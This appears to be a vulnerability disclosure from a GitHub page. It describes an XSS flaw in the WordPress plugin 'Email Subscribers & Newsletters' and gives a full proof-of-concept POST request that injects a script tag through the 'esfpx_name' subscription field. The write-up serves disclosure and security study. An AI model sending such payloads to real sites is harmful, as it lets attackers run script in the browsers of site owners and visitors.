Skip to content
Permalink
master
Switch branches/tags

Name already in use

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
Go to file
 
 
Cannot retrieve contributors at this time
An XSS vulnerability in "Email Subscribers & Newsletters" allows an attacker to inject malicious JS code through publicly available subscription form using "esfpx_name" POST parameter.
PoC request:
POST /cve/wordpress/wp-admin/admin-ajax.php HTTP/1.1
Host: 192.168.0.105
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.105/cve/wordpress/
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 446
Connection: close
Cookie: edd_items_in_cart=1; rand_code_1=f13b6bd62b493dab8fa1ab5a7f13ade5; PHPSESSID=ke63n45ep1elnn45iv6l7k86r1
esfpx_name=Hello+%22%3E%3Cscript%3Ealert('XSS')%3C%2Fscript%3E&esfpx_email=a%40gmail.com&esfpx_form_id=1&esfpx_es_email_page=1&esfpx_es_email_page_url=http%3A%2F%2F192.168.0.105%2Fcve%2Fwordpress%2F2019%2F06%2F18%2F%25d0%25bf%25d1%2580%25d0%25b8%25d0%25b2%25d0%25b5%25d1%2582-%25d0%25bc%25d0%25b8%25d1%2580%2F&esfpx_status=Unconfirmed&esfpx_es-subscribe=3fb976eb05&esfpx_es_hp_c9fb691a33=&esfpx_lists%5B%5D=2&es=subscribe&action=es_add_subscriber